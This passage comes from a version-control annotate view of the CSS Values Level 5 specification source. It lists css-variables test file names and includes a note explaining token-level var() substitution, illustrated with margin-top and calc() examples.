class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2716" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2942" id="l2942"> 2942</a> </td> <td class="source"> css-variable-change-style-001.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2717" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2943" id="l2943"> 2943</a> </td> <td class="source"> css-variable-change-style-002.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2718" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2944" id="l2944"> 2944</a> </td> <td class="source"> variable-declaration-01.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2719" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2945" id="l2945"> 2945</a> </td> <td class="source"> variable-declaration-02.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2720" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2946" id="l2946"> 2946</a> </td> <td class="source"> variable-declaration-03.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2721" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2947" id="l2947"> 2947</a> </td> <td class="source"> variable-declaration-04.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2722" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2948" id="l2948"> 2948</a> </td> <td class="source"> variable-declaration-05.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2723" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2949" id="l2949"> 2949</a> </td> <td class="source"> variable-generated-content-dynamic-001.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2724" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2950" id="l2950"> 2950</a> </td> <td class="source"> variable-presentation-attribute.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2725" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2951" id="l2951"> 2951</a> </td> <td class="source"> variable-reference-01.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2726" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2952" id="l2952"> 2952</a> </td> <td class="source"> variable-reference-02.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2727" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2953" id="l2953"> 2953</a> </td> <td class="source"> variable-reference-03.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2728" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2954" id="l2954"> 2954</a> </td> <td class="source"> variable-reference-04.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2729" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2955" id="l2955"> 2955</a> </td> <td class="source"> variable-reference-05.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2730" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2956" id="l2956"> 2956</a> </td> <td class="source"> variable-reference-12.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2731" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2957" id="l2957"> 2957</a> </td> <td class="source"> variable-reference-16.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2732" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2958" id="l2958"> 2958</a> </td> <td class="source"> variable-reference-40.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2733" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2959" id="l2959"> 2959</a> </td> <td class="source"> variable-reference-refresh.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2734" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2960" id="l2960"> 2960</a> </td> <td class="source"> variable-substitution-background-properties.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2735" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2961" id="l2961"> 2961</a> </td> <td class="source"> variable-substitution-basic.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2736" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2962" id="l2962"> 2962</a> </td> <td class="source"> variable-substitution-filters.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2737" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2963" id="l2963"> 2963</a> </td> <td class="source"> variable-substitution-replaced-size.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2738" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2964" id="l2964"> 2964</a> </td> <td class="source"> variable-substitution-shadow-properties.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2739" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2965" id="l2965"> 2965</a> </td> <td class="source"> variable-substitution-variable-declaration.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2740" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2966" id="l2966"> 2966</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2741" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2967" id="l2967"> 2967</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2742" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2968" id="l2968"> 2968</a> </td> <td class="source"> <wpt pathprefix="css/css-variables" title="CSSOM"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2743" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2969" id="l2969"> 2969</a> </td> <td class="source"> variable-reference-cssom.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2744" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2970" id="l2970"> 2970</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2745" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2971" id="l2971"> 2971</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2746" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2972" id="l2972"> 2972</a> </td> <td class="source"> <div class=note> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2747" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2973" id="l2973"> 2973</a> </td> <td class="source"> Note that [=substitution=] takes place at the level of CSS tokens [[css-syntax-3]], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2748" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2974" id="l2974"> 2974</a> </td> <td class="source"> not at a textual level; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2749" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2975" id="l2975"> 2975</a> </td> <td class="source"> you can't build up a single token where part of it is provided by a variable: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2750" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2976" id="l2976"> 2976</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2751" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2977" id="l2977"> 2977</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2752" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2978" id="l2978"> 2978</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2753" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2979" id="l2979"> 2979</a> </td> <td class="source"> --gap: 20; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2754" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2980" id="l2980"> 2980</a> </td> <td class="source"> margin-top: var(--gap)px; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2755" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2981" id="l2981"> 2981</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2756" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2982" id="l2982"> 2982</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2757" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2983" id="l2983"> 2983</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2758" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2984" id="l2984"> 2984</a> </td> <td class="source"> This is <em>not</em> equivalent to setting ''margin-top: 20px;'' (a length). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2759" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2985" id="l2985"> 2985</a> </td> <td class="source"> Instead, it's equivalent to ''margin-top: 20 px;'' (a number followed by an ident), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2760" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2986" id="l2986"> 2986</a> </td> <td class="source"> which is simply an invalid value for the 'margin-top' property. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2761" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2987" id="l2987"> 2987</a> </td> <td class="source"> Note, though, that ''calc()'' can be used to validly achieve the same thing, like so: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2762" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2988" id="l2988"> 2988</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2763" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2989" id="l2989"> 2989</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2764" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2990" id="l2990"> 2990</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2765" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2991" id="l2991"> 2991</a> </td> <td class="source"> --gap: 20; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2766" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2992" id="l2992"> 2992</a> </td> <td class="source"> margin-top: calc(var(--gap) * 1px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2767" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2993" id="l2993"> 2993</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2768" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2994" id="l2994"> 2994</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2769" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2995" id="l2995"> 2995</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2770" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2996" id="l2996"> 2996</a> </td> <td class="source"> This also implies that the post-substitution value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2771" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2997" id="l2997"> 2997</a> </td> <td class="source"> might not be directly serializable as-is. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2772" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2998" id="l2998"> 2998</a> </td> <td class="source"> Here's a similar example to the preceding: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2773" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2999" id="l2999"> 2999</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2774" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3000" id="l3000"> 3000</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2775" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3001" id="l3001"> 3001</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2776" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3002" id="l3002"> 3002</a> </td> <td class="source"> --gap: 20; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2777" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3003" id="l3003"> 3003</a> </td> <td class="source"> --not-px-length: var(--gap)px; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2778" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3004" id="l3004"> 3004</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2779" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3005" id="l3005"> 3005</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2780" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3006" id="l3006"> 3006</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2781" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3007" id="l3007"> 3007</a> </td> <td class="source"> The serialization of the computed (post-substitution) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2782" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3008" id="l3008"> 3008</a> </td> <td class="source"> value of ''--not-px-length'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2783" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3009" id="l3009"> 3009</a> </td> <td class="source"> is <strong>not</strong> ''20px'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2784" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3010" id="l3010"> 3010</a> </td> <td class="source"> because that would parse back as the single combined dimension; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2785" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3011" id="l3011"> 3011</a> </td> <td class="source"> instead, it will serialize with a comment between the two tokens, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2786" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3012" id="l3012"> 3012</a> </td> <td class="source"> like ''20/**/px'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2787" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3013" id="l3013"> 3013</a> </td> <td class="source"> to enforce that they are separate tokens even when re-parsing. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2788" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3014" id="l3014"> 3014</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2789" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3015" id="l3015"> 3015</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2790" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l3016" id="l3016"> 3016</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2791" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3017" id="l3017"> 3017</a> </td> <td class="source"> variable-declaration-14.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2792" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3018" id="l3018"> 3018</a> </td> <td class="source"> variable-declaration-53.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2793" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3019" id="l3019"> 3019</a> </td> <td class="source"> variable-declaration-54.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2794" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3020" id="l3020"> 3020</a> </td> <td class="source"> variable-declaration-55.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2795" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3021" id="l3021"> 3021</a> </td> <td class="source"> variable-reference-15.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2796" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3022" id="l3022"> 3022</a> </td> <td class="source"> variable-reference-without-whitespace.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2797" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3023" id="l3023"> 3023</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2798" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3024" 